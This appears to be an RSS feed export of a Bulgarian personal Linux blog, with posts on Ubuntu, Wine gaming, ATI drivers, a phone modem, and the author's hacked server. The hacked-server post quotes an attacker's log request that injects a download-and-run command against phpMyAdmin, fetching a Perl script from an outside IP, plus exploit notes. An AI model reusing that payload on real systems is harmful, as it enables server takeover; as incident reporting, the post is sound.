<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lucifer&#039;s sandbox &#187; linux</title>
	<atom:link href="http://www.anavaro.com/blog/tag/linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anavaro.com/blog</link>
	<description>Where the devil plays</description>
	<lastBuildDate>Sun, 29 Jan 2012 18:43:12 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Ubuntu 11.10  &#8230; или a Slacker goes Ubuntu.</title>
		<link>http://www.anavaro.com/blog/slacker-goes-ubuntu/</link>
		<comments>http://www.anavaro.com/blog/slacker-goes-ubuntu/#comments</comments>
		<pubDate>Sat, 15 Oct 2011 05:39:44 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[geek time]]></category>
		<category><![CDATA[лични]]></category>
		<category><![CDATA[end user]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lvm/luks]]></category>
		<category><![CDATA[slackware]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[usage]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=1433</guid>
		<description><![CDATA[Моят досегашен опит със Ubuntu. Или как един Slacker мина на Ubuntu.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anavaro.com/blog/wp-content/uploads/2011/10/tux-o-lantern.jpg"><img class="alignleft size-full wp-image-1450" style="margin: 5px;" title="tux-o-lantern" src="http://www.anavaro.com/blog/wp-content/uploads/2011/10/tux-o-lantern.jpg" alt="" width="453" height="604" /></a>Наскоро се сдобих с нов лаптоп.</p>
<p>Знаете ме, че съм почитател на Slackware и цялата KISS философия и се радвам на прозрачността, която Slackware дава. За съжаление новия ми лаптоп използва nVidia Opitmus технология, която по принцип има за цел да оптимизира използваните ресурси и други бла бла бла глупости. За радост на цялата Linux общонст обаче от nVidia са излезли с съобщение, че Optimus няма да се поддържа от Propriety nVidia Driver-ите &#8230; Кофти тръпка за всички, включително за мен.</p>
<p>За моя радост има 2 проекта, които са се заели да &#8220;заобиколят&#8221; отказа на nVidia и са създали 2 продукта &#8211; Bumblebee и Ironhide. Лично аз предпочетох да използвам Bumblebee, като една идея по-стабилен. Тук дойде и първия ми сблъсък с проблеми &#8211; въпреки, че Bumblebee има някакъв вид инсталатор, който е OS независим, за да го подкарам под Slackware трябваше да се преборя с цяла група малки проблемчита &#8211; прекомпилиране на драйвери, нови Kernel Headers и други такива неща, с които наистина не искам да се занимавам и да ги правя при всяка смяна на Kernel или излизане на нови драйвери. За това реших да мина на OS за която има пакети. За мое най-голямо съжаление Slackware не е една от най-използваните OS. За това и се насочих към Ubuntu.</p>
<p>Първото, което осъзнах е, че трябва да забравиш за инсталацията от флашка &#8230; на 3-я или 4-я път захапа, а на 6-я или 7-я успях да го инсталирам. Инсталатора е направен цветничък и с ограничени функции (ще стигна и до alternate, спокойно). Направен е като за &#8230; полуидиоти, да не кажа като за цели. Функционалността му е ограничена и то много, но за това пък има звук по време на инсталация, и мишка и wi-fi. След като го инсталирах и си прехвърлих нещата от старата машина се заех да го поразгледам. Това беше преди около седмица, и бях с Ubuntu 11.04.</p>
<p>Добре, признавам, че е красив, но аз никога не съм си падал по многото eye candy. Признавам, че и да имаш толкова много software на върха на пръстите си, също е много удобно. Това обаче, което не ми харесва е че не виждам как се случват нещата. Самата система е направена лесна. предполагам, че ако го инсталирам на баба ми, дори тя ще се справи. Единствените неща които не работеха out of the box, бяха Pulse Audio-то, което караше Skype да забива (за това го подмених с native ALSA) и NetworkManager, който като изскочеше малко по-висок трафик и ми зависваше безжичната мрежа.</p>
<p>След като си поиграх няколко дни, реших, че не може така и трябва да си криптирам диска. От опита си със Slackware знам, че няма по-лесно нещо от това:</p>
<p>Създаваш /boot partition</p>
<p>Създаваш LUKS partition и в нея изплющяваш LVM дяловете, които ти трябват.</p>
<p>Да де, ама дори с alternate инсталатора на Ubuntu, нещо, което на Slackware ми отне 15 минути първия път, тук ми отне поне по 45. Като го правих около 16 пъти, докато постигна система която да функционира. Приключвайки LUKS/LVM инсталацията, която между другото ТРЯБВА да се прави от диск, защото от флашка не искаше да стане, колкото и да я мъчих, получих нотификацията за Ubuntu 11.10 и автоматичен upgrade към него. Знаете ме как съм с новите неща &#8211; дай да ги видим. Автоматичния upgrade мина без никакви сътресения и системата продължи да си работи без проблем &#8230; до 8-я пореден рестарт, когато GRUB-а отказа да захапе. Реакцията ми е ясна (и добре че имах пълен backup само на около 20 часа) &#8211; Инсталатор, delete all partitions, reinstall, upgrade.</p>
<p>Сега съм благополучно на версия 11.10 и мога да заявя, че не е толкова зле.</p>
<p>Като цяло мнението ми е леко раздвоено. От една страна Ubuntu е правено като за идиоти, разбирам това, но ми липсва прозрачността на Slackware. Вярно е, че Slackware не е никак Userf friendly, дори мога да кажа, че e user hating OS, но една стабилна система със LUKS/LVM и Slack се вдига от веднъж и отнема около 2 часа с настройка и update до current. Докато това на Ubuntu е почти невъзможно. Това което съм видял до момента от Ubuntu е, че е своенравна и капризна система. Освен това 11.10 няма хубава GUI &#8211; Unity е тежко, тромаво и сложно за конфигуриране (да не кажем, че има неща които не мога да настроя), а Gnome Shell е пълна боза. За сега съм се спрял на Unity 2D с малко twaks, но ще чакам нещо по подходящо. Дори не искам да говоря за XUbuntu с неговия XFCE &#8230; няма дори да се пробвам да го слагам. Ако някой има идея за свестен GUI &#8211; да свирка. Но за това пък в Ubuntu имаш достъпа до толкова хубав software за който update-и излизат веднага, а не се налага да си ги компилираш/чакаш да ти ги направят.</p>
<p>Като цяло, мисля че ще се спогодим с Ubuntu, ако се научи да слуша. Пък и нямам много избор, ако искам да си играя StarCraft 2 и сега вече и Lineage 2, която чакаме да пуснат Free To Play за Европа.</p>
<p>Но от сега си казвам, че няма да сложа Ubuntu за каквато и да е система, която ми трябва за друго освен за End user usage. Server-ите ми ще продължават да са си на Slack.</p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/slacker-goes-ubuntu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>StarCraft 2 на Slackware64-current (GeekTime)</title>
		<link>http://www.anavaro.com/blog/starcraft-2-on-slackware64-current/</link>
		<comments>http://www.anavaro.com/blog/starcraft-2-on-slackware64-current/#comments</comments>
		<pubDate>Fri, 29 Apr 2011 09:14:40 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[geek time]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[fglrx]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[slackware64]]></category>
		<category><![CDATA[starcraft 2]]></category>
		<category><![CDATA[wine]]></category>
		<category><![CDATA[игри]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=1190</guid>
		<description><![CDATA[През отминалите празници, като истински geek, бях в любимата си компания &#8211; тази на моя компютър. Горкичкия, вече сдава багажа и вентилаторите му вият, като малка прахосмукачка, но си е моя. От около почти 2 години съм на linux, както не веднъж съм споменавал, и за това и трудно сядам да играя игри, но тъй [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anavaro.com/blog/wp-content/uploads/2011/04/Install-Play-StarCraft-2-Linux.jpg"><img class="size-full wp-image-1192 aligncenter" title="Install-Play-StarCraft-2-Linux" src="http://www.anavaro.com/blog/wp-content/uploads/2011/04/Install-Play-StarCraft-2-Linux.jpg" alt="" width="400" height="274" /></a></p>
<p><a href="http://www.anavaro.com/blog/wp-content/uploads/2011/04/Install-Play-StarCraft-2-Linux.jpg"></a>През отминалите празници, като истински geek, бях в любимата си компания &#8211; тази на моя компютър. Горкичкия, вече сдава багажа и вентилаторите му вият, като малка прахосмукачка, но си е моя.</p>
<p>От около почти 2 години съм на linux, както не веднъж съм споменавал, и за това и трудно сядам да играя игри, но тъй като през, споменатите вече празници ми се отвори малко свободно време, реших да се занимая с подкарването на StarCraft 2 под Wine.</p>
<p>С какво си имам работа?</p>
<p>CPU: Intel(R) Core(TM)2 Duo CPU T5250</p>
<p>RAM: 3GB DDR2 (667 MHz)</p>
<p>GPU: Ati Radeon HD 3450</p>
<p>OS: Slackware64 Current (вече излезе stable 13.37)</p>
<p>И сега какво?</p>
<p>За тези които не са се сблъсквали със Slackware и неговата философия, искам да уточня някои неща. Плюсовете на Slackware са, че не страда от така наречения dependency hell, всичко подлежи на настройка от потребителя и че повечето неща се препоръчва да компилират от source (не че няма готови binary пакети). Лошите му страни са, че всичко подлежи на настройка от потребителя и че повечето неща се препоръчва да се компилират от source.</p>
<p>Това казано, само ще допълня, че при Slackware нямате единични repo-та и няма apt-get или yum.</p>
<p>От къде започваме?</p>
<p>Първото нещо е да направите Slackware64 в multilib. Това му дава възможност да изпълнява и да компилира едновременно 32bit и 64bit приложения. За тази цел използвайте пакетите на AlienBOB от <a href="http://connie.slackware.com/~alien/multilib/" target="_blank">тук</a>.</p>
<p>Второто нещо което трябва да направите за със Slackware-а е да му инсталирате propriety driver-ите за видеото. Не знам дали open source driver-ите ще свършат работа, но аз предпочитам да си сложа fglrx-а на Ati/AMD. Версията с която съм в момента е 11.3 и са направили малка промяна в начина на инсталация. Сваляте си пакета от сайта на Ati, влизате като root и:</p>
<blockquote><p>$ chmod +x ati-driver-installer-11-3-x86.x86_64.run</p>
<p>$ ./ati-driver-installer-11-3-x86.x86_64.run &#8211;buildpkg=Slackware/Slackware</p></blockquote>
<p>Това ще създаде Slackware пакет с компилираните драйвери за вашето ядро.</p>
<blockquote><p>$ installpkg fglrx-8.831.2-x86_64-1.tgz</p></blockquote>
<p>ще инсталира пакета. Сега правите един рестарт в runlevel 3 (конзолен вход), влизате като root. Командите са:</p>
<blockquote><p>$ aticonfig &#8211;initial -f</p>
<p>$ rm -R /usr/share/config/kdm/</p>
<p>$ genkdmconf</p></blockquote>
<p>Ако всичко е минало нормално, трябва да имате инсталирани flgrx driver-и. Честито! Пуснете си X-а и се забавлявайте.</p>
<p>Следващата стъпка е да си инсталирате Wine. Отидете на <a href="http://winehq.org" target="_blank">winehq.org</a>, където ще намерите готови пакети за Slackware в download секцията. Тук има една малка уловка &#8211; трябва много да внимавате, кой пакет ще свалите. Използвайте или stable 1.2.3 или най-новия development 1.3.18. В по-старите development пакети има проблем. Свалете си 32bit пакета, нищо, че операционната ви система е 64bit (нали помните multilib), и го инсталирайте.</p>
<p>Добра идея е да си свалите winetricks. Можете да намерите готови SackBuild-а в linuxpackages.net или да използвате великолепното tool-че sbopkg.</p>
<p>Следва друга тънка част &#8211; инсталацията на DirectX9. Ако имате winetricks можете да направите само</p>
<blockquote><p># winetricks d3dx9</p></blockquote>
<p>На някои места се препоръчва инсталирането и на няколко други неща, като vcrun2008, vcrun2005, droid, fontfix, fontsmooth-rgb, gdiplus, gecko, allfonts, но не съм сигурен, че са задължителни. За всеки случай можете да ги инсталирате. Внимание! За някои от функционалностите на winetricks ще ви трябва cabextract пакета. Ако някой от горните пакети не желае да се инсталира и ви дава някаква грешка &#8211; прескочете го!</p>
<p>С това средата е почти подготвена. Остава само в wincfg да отидете в Libraries, да добавите mmdevapi и да го сложите на Disabled, за да имате звук в играта, после отивате на Applications и слагате Windows Version на Windows 7.</p>
<p>Сега да се заемем с останалото:</p>
<p>Отивате на сайта на Blizzard и си сваляте On-line Installer -а (за най-лесно).</p>
<blockquote><p># wine &lt;installer_name&gt;.exe</p></blockquote>
<p>И си инсталирате играта, като всяка друго Windows-ка игра (Next, Yes, Next, Next, Next &#8230;). Аз лично имах проблем с инсталатора &#8211; не вадеше никакви буквички и се губеха бутоните. Самите функционални полета си работеха, но ги нямаше бутоните. Не успях да реша този проблем, но намерих youtube клипче, което показва инсталацията и намерих функционалните полета.</p>
<p>Имайте предвид, че под Linux Razor1911 License hack-а не работи и ще ви трябва работещ accaunt за SC2 за да можете да играете дори като гост.</p>
<p>Играта се пуска от папката на играта с:</p>
<blockquote><p># LIBGL_DRIVERS_PATH=/usr/lib/xorg/modules/dri wine StarCraft\ II.exe</p></blockquote>
<p>Най-вероятно ще откриете, че играта сече неимоверно. Поне при мен беше така. И за това има решение &#8211; пускате си RegEdit (wine regedit),</p>
<p>HKEY_CURRENT_USER -&gt; Software -&gt; Wine -&gt;Direct3D</p>
<p>Там създавате следните String Values, със следните стойности:</p>
<blockquote><p>DirectDrawRenderer =&gt; opengl</p>
<p>Multisampling =&gt; disabled</p>
<p>OffscreenRenderingMode =&gt; pbuffer</p>
<p>UseGSLS =&gt; disabled</p>
<p>VertexShaderMode =&gt; hardware</p>
<p>VideoMemorySize =&gt; 1024 (големината на видео паметта ви в MB)</p></blockquote>
<p>И това е!</p>
<p>Аз лично си купих играта вчера и и се наслаждавам. Дано ви хареса и дано съм ви помогнал. А ако срещнете един Lucifer из Battle.Net, не го бийте много &#8211; той толкова си може!</p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/starcraft-2-on-slackware64-current/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kernel 2.6.32.x и ATI Catalyst (GeekTime)</title>
		<link>http://www.anavaro.com/blog/kernel-2-6-32-x-ati-catalyst/</link>
		<comments>http://www.anavaro.com/blog/kernel-2-6-32-x-ati-catalyst/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 17:35:22 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[geek time]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[2.6.32.3]]></category>
		<category><![CDATA[ati catalyst]]></category>
		<category><![CDATA[drivers]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[slackware]]></category>
		<category><![CDATA[драйвери]]></category>
		<category><![CDATA[кернел]]></category>
		<category><![CDATA[линукс]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=528</guid>
		<description><![CDATA[Нали ме знаете, че съм си гаден geek, та винаги гледам да съм с последните версии на каквото е излязло &#8230; дори с последни версии на ядрото на Slackware-а с който работя в къщи. Kernel-а който излезе на 9-ти беше 2.6.32.3 и разбира се първата ми работа беше да го инсталирам, да го прекомплирам за [...]]]></description>
			<content:encoded><![CDATA[<p>Нали ме знаете, че съм си гаден geek, та винаги гледам да съм с последните версии на каквото е излязло &#8230; дори с последни версии на ядрото на Slackware-а с който работя в къщи.</p>
<p>Kernel-а който излезе на 9-ти беше 2.6.32.3 и разбира се първата ми работа беше да го инсталирам, да го прекомплирам за да открива и 4-те GB RAM и да си направя initrd.gz за да мога да си пускам машината (аз съм гаден параноик и съм я криптирал)  &#8230;</p>
<p>Всичко мина добре. Влязох като root и махнах стария fglrx.9.12 компилиран за 2.6.29.6.</p>
<p>Стартирах инсталатора &#8230; и каква беше изненадата ми, когато вместо &#8220;Instalation complete&#8221;, получих съобщението &#8220;There were errors compiling driver. Please refer to fglrx-install.log&#8221;</p>
<p>WTF??? Какви грешки бе!</p>
<p>nano /usr/share/ati/fglrx-install.log</p>
<pre>[Message] Kernel Module : Trying to install a precompiled kernel module.
[Message] Kernel Module : Precompiled kernel module version mismatched.
[Message] Kernel Module : Found kernel module build environment, generating kernel module now.
AMD kernel module generator version 2.1
doing Makefile based build for kernel 2.6.x and higher
rm -rf *.c *.h *.o *.ko *.GCC* .??* *.symvers
make -C /lib/modules/2.6.32.3-smp/build SUBDIRS=/lib/modules/fglrx/build_mod/2.6.x modules
make[1]: Entering directory `/usr/src/linux-2.6.32.3'
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/firegl_public.o
In file included from /lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:443:
/lib/modules/fglrx/build_mod/2.6.x/drm_proc.h: In function ‘FGLDRM__vma_info’:
/lib/modules/fglrx/build_mod/2.6.x/drm_proc.h:497: warning: format ‘%08lx’ expects type ‘long unsigned int’, but argument 5 has type ‘phys_addr_t’
/lib/modules/fglrx/build_mod/2.6.x/firegl_public.c: In function ‘KCL_MapPageToPfn’:
/lib/modules/fglrx/build_mod/2.6.x/firegl_public.c:1586: warning: unused variable ‘bus_addr’
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_acpi.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_agp.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_debug.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_ioctl.o
CC [M]  /lib/modules/fglrx/build_mod/2.6.x/kcl_io.o
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c: In function ‘KCL_IO_FASYNC_Terminate’:
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: ‘SIGIO’ undeclared (first use in this function)
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: (Each undeclared identifier is reported only once
/lib/modules/fglrx/build_mod/2.6.x/kcl_io.c:122: error: for each function it appears in.)
make[2]: *** [/lib/modules/fglrx/build_mod/2.6.x/kcl_io.o] Error 1
make[1]: *** [_module_/lib/modules/fglrx/build_mod/2.6.x] Error 2
make[1]: Leaving directory `/usr/src/linux-2.6.32.3'
make: *** [kmod_build] Error 2
build failed with return value 2
[Error] Kernel Module : Failed to compile kernel module - please consult readme.
</pre>
<p>Какво по &#8230;</p>
<p>И отново старото ровене в чичо google &#8230; 2 дни без хубаво видео &#8230; няма да ви описвам мъките си &#8230; докато на някакъв забит пост в някакъв забит форум не намерих как да го оправя &#8230; а то се оказа и много просто &#8211; явно в новата ядро са отделили част от нещата в нов header file &#8230;</p>
<p>Ето и решението step-by-step:</p>
<p>01. Сваляте си драйверите от сайта на ATI.<br />
 02. Стартирате run-а с опция &#8211;extract<br />
 03. Отваряте fglrx-install.nqkakuv_string/common/lib/modules/fglrx/build_mod/kcl_io.c където добавяте:</p>
<p>#include &lt;linux/signal.h&gt;</p>
<p>04. В fglrx-install.nqkakuv-string стартирате sh ./ati-installer.sh 8.5912 &#8211;install<br />
 05. reboot &#8230; and that is all &#8230;</p>
<p>Лесно нали? Някъде из нет-а се мотат готови .patch, но нямах време и желание да търся &#8230; за това използвах nano &#8230; и го направих на ръка &#8230; лесно и бързо &#8230; веднъж като знаеш какво ти трябва &#8230;</p>
<p>Надвявам, се да помогна на някого.</p>
<p><br class="spacer_" /></p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/kernel-2-6-32-x-ati-catalyst/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Hacked &#8230;</title>
		<link>http://www.anavaro.com/blog/hacked/</link>
		<comments>http://www.anavaro.com/blog/hacked/#comments</comments>
		<pubDate>Thu, 03 Dec 2009 01:40:36 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[blog]]></category>
		<category><![CDATA[geek time]]></category>
		<category><![CDATA[misk]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[std]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[блог]]></category>
		<category><![CDATA[вирус]]></category>
		<category><![CDATA[линукс]]></category>
		<category><![CDATA[сървър]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=468</guid>
		<description><![CDATA[Искам да се оплача &#8230; от собствената си глупост &#8230; и то много да се оплача &#8230; То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко &#8211; сървъра ми беше хакнат! Дап, моето мило Анаваро! Беше заразен с IRC бот вирус. Нямаше много &#8220;мрежеви&#8221; поражения &#8230; защото машината слаба или [...]]]></description>
			<content:encoded><![CDATA[<p>Искам да се оплача &#8230; от собствената си глупост &#8230; и то много да се оплача &#8230;</p>
<p>То бива бива да съм заблуден, ама като мене не бива. Ситуацията на кратко &#8211; сървъра ми беше хакнат! Дап, моето мило Анаваро!</p>
<p>Беше заразен с IRC бот вирус. Нямаше много &#8220;мрежеви&#8221; поражения &#8230; защото машината слаба или аз съм я сложил калпаво, та вируса само се изпълняваше, вдигаше CPU-то на 100% и системата умираше &#8211; няма мрежа, няма нищо, а аз знаете съм на 500 км.</p>
<p>След няколко рестарт-а и любимите ми &#8220;<span style="font-family: terminal,monaco;">tail -f</span>&#8221; и &#8220;<span style="font-family: terminal,monaco;">htop</span>&#8221; успях да засека следния малък проблем:</p>
<pre style="margin-top: 0pt; display: inline;">ID    USER    NI  CPU%  MEM%   VIRT    SHR   S  TIME+     Command
3813  apache  0   65.0    0.1       1776   432    R   1:42.64   ./std 89.137.139.225 0</pre>
<p>А &#8230; ново 20??? Какъв пък процес се изпълнява от apache (Web Server-a) &#8230;</p>
<p>Спомних си кога за първи път се появи проблема и се зарових из логовете на индианеца &#8230; където открих следния &#8220;смахнат&#8221; ред:</p>
<pre>88.191.14.38 - - [29/Nov/2009:02:12:10 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20http://88.170.72.136/gcc.txt;lwp-download%20http://88.170.72.136/gcc.txt;fetch%20http://88.170.72.136/gcc.txt;perl%20gcc.txt;rm%20-fr%20gcc.txt HTTP/1.1" 200 181</pre>
<p>Изненадкааа &#8230;Разбира се разпищях се из Linux-bg и ми върнаха лошата за мен новина:</p>
<blockquote><address># PoC script successfully tested on the following targets:</address>
<address># phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1</address>
<address># Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)</address>
<address>
# attack requirements:</address>
<address># 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5</address>
<address># and 3.x before 3.1.3.1 according to PMASA-2009-3</address>
<address># 2) it *seems* this vuln can only be exploited against environments</address>
<address># where the administrator has chosen to install phpMyAdmin following</address>
<address># the *wizard* method, rather than manual method: <a href="http://snipurl.com/jhjxx" target="_blank">http://snipurl.com/jhjxx</a></address>
<address><strong># 3) administrator must have NOT deleted the &#8216;/config/&#8217; directory<br />
# within the &#8216;/phpMyAdmin/&#8217; directory. this is because this directory is<br />
# where &#8216;/scripts/setup.php&#8217; tries to create &#8216;config.inc.php&#8217; which is where<br />
# our evil PHP code is injected <img title="Cool" src="http://www.linux-bg.org/forum/Smileys/default/cool.gif" border="0" alt="8)" /></strong></address>
</blockquote>
<p>Бах! Как се саморазпосувах, само може да си представите! Правих какви ли не магарии &#8211; то не бяха преинсталации на apache, промени на пътеки &#8230;</p>
<p>Отново и отново ./std $IP $PORT процеса ме убиваше &#8230;</p>
<p>Питайки чичко Гугъл &#8230; случайно стигнах до един сайт в който някой се оплакваше от моя проблем.</p>
<pre>ps aux | grep apache</pre>
<p>ми даде виновника &#8211; индианеца се беше троянизирал &#8230; изпълняваше процеси (добре че е deamon) &#8230;</p>
<pre>crontab -u apache -e</pre>
<p>ми даде и проблема &#8211; някакво фаилче кръстено y2kupdate в /tmp/.pid/ и изпълнимо &#8230; на бързо му бих &#8220;rm -r&#8221;, премахнах референцията в cron-а и изтрих phpMyAdmin-a (сложих си го на скрито място) &#8230;</p>
<p>Знам, че съм пълен идиот &#8230; ама аз съм си такъв &#8230;</p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/hacked/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nokia 6120 classic като Linux modem!(Geek Time)</title>
		<link>http://www.anavaro.com/blog/nokia-6120-classic-%d0%ba%d0%b0%d1%82%d0%be-linux-modem/</link>
		<comments>http://www.anavaro.com/blog/nokia-6120-classic-%d0%ba%d0%b0%d1%82%d0%be-linux-modem/#comments</comments>
		<pubDate>Sat, 29 Aug 2009 16:46:35 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[geek time]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[gprs sharing]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mobile internet]]></category>
		<category><![CDATA[nokia 6120]]></category>
		<category><![CDATA[nokia 6120 classic as linux modem]]></category>
		<category><![CDATA[usb modem]]></category>
		<category><![CDATA[vivatel]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=327</guid>
		<description><![CDATA[И така, явно се е видяло че ще отварям Geek Time рубрика в този блог, та ето ви още един пост нея: Как да подкараме Nokia 6120 classic като USB GPRS/EDGE модем под Linux (в моя случай Slackware 13, но ръководството е достатъчно широко) и VivaTel (независимо дали пакет данни или нещо друго). Необходим hardware: [...]]]></description>
			<content:encoded><![CDATA[<p>И така, явно се е видяло че ще отварям Geek Time рубрика в този блог, та ето ви още един пост нея:</p>
<p>Как да подкараме Nokia 6120 classic като USB GPRS/EDGE модем под Linux (в моя случай Slackware 13, но ръководството е достатъчно широко) и VivaTel (независимо дали пакет данни или нещо друго).</p>
<p>Необходим hardware:</p>
<p>Компютър (няма смисъл иначе, нали)</p>
<p>GSM Nokia 6120 classic (предполагам, че и всеки друг Symbian базиран телефон би ви свършил работа)</p>
<p>USB кабел за телефона</p>
<p>Необходим software:</p>
<p>Linux (в моя случай, както казах, Slackware 13, но предполагам, че и другите ще станат)</p>
<p>wvdial &#8211; трябва да го има в репото на дистрибуцията ви (за Slackware го има в <a href="http://slacky.eu" target="_blank">Slacky.eu</a>, като готов пакет)</p>
<p>wvdialerstrams &#8211; библиотека използвана от wvdial</p>
<p>qtwvdialer &#8211; QT GUI за wvdial</p>
<p>Методология:</p>
<p>Инсталирате пакетите описани по горе, свързвате телефона с кабела към машината и му задавате PCSuit (не data transfer или media player).</p>
<p>Пускате си една конзола и su &#8211; твате (трябва да сте root).</p>
<p>$wvdialconf</p>
<p>Програмката културно си засича телефона и най-добрата скорост с която да го използвате и ви предлага Init1 и Init2 редове.</p>
<p>$nano /etc/wvdial.conf</p>
<p>Ще забележите, че някои редове са откоментирани с #. Това са нещата които конфигурацията не е успяла да налучка.</p>
<p>Ето ви копие на моя wvdial.conf, това което трябва да добавите за да работите с VivaTel са редовете Init3, Phone, Username и Password</p>
<pre>[Dialer Defaults]
Init1 = ATZ
Init2 = ATQ0 V1 E1 S0=0 &amp;C1 &amp;D2 +FCLASS=0
Init3 = AT+CGDCONT=1,"IP","internet.vivatel.bg"
Modem Type = USB Modem
Phone = *99#
ISDN = 0
Username = vivatel
Password = vivatel
Modem = /dev/ttyACM0
Baud = 460800</pre>
<p>Остана само да въведете DNS-те на доставчика. Ако сте на VivaTel в /etc/resolv.conf добавете редовете:</p>
<pre>nameserver 212.39.90.42</pre>
<pre>nameserver 212.39.90.43</pre>
<p>Ако не сте, стартирайте $wvdial (прекратява се с Ctrl+C) и ще видите редовете First Domain Name Server $ADRESS1 и Second Domain Name Server $ADRESS2. Това са адресите за /etc/resolv.conf</p>
<p>Това е от мен. Аз така успях да го подкарам. Надявам се да ви помогне!</p>
<p>Ваш,</p>
<p>Lucifer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.anavaro.com/blog/nokia-6120-classic-%d0%ba%d0%b0%d1%82%d0%be-linux-modem/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lineage 2 GRACIA Final под Linux (Geek Time)</title>
		<link>http://www.anavaro.com/blog/lineage-2-gracia-final-%d0%bf%d0%be%d0%b4-linux-geek-time/</link>
		<comments>http://www.anavaro.com/blog/lineage-2-gracia-final-%d0%bf%d0%be%d0%b4-linux-geek-time/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 20:05:44 +0000</pubDate>
		<dc:creator>Lucifer</dc:creator>
				<category><![CDATA[geek time]]></category>
		<category><![CDATA[HowTo]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[l2]]></category>
		<category><![CDATA[lineage 2]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[marines server]]></category>
		<category><![CDATA[wine]]></category>

		<guid isPermaLink="false">http://www.anavaro.com/blog/?p=300</guid>
		<description><![CDATA[И така от липса на друга работа, реших да се хвана да се заиграя отново на Lineage 2 и попаднах на Gracia Final Server (Marines сървъра на spectrumNet). Само дето скоро съвсем ще остана без достъп до работещ Winbows, а няма да се върна заради една игра на него и за това седнах да ровя [...]]]></description>
			<content:encoded><![CDATA[<p>И така от липса на друга работа, реших да се хвана да се заиграя отново на Lineage 2 и попаднах на Gracia Final Server (<a href="http://mservers.eu/" target="_blank">Marines сървъра на spectrumNet</a>). Само дето скоро съвсем ще остана без достъп до работещ Winbows, а няма да се върна заради една игра на него и за това седнах да ровя как да го Wine-зирам и се оказа, че то не е толкова трудно!</p>
<p>I. Подготовка:</p>
<p>1. Драйвери &#8211; слагате си драйверите на видео картата!</p>
<p>2. Wine</p>
<p>2.1 сваляте си <a href="http://winehq.com" target="_blank">Wine</a></p>
<p>2.2 компилирате и инсталирате Wine (има си много читав скрипт, който ви върши цялата работа)</p>
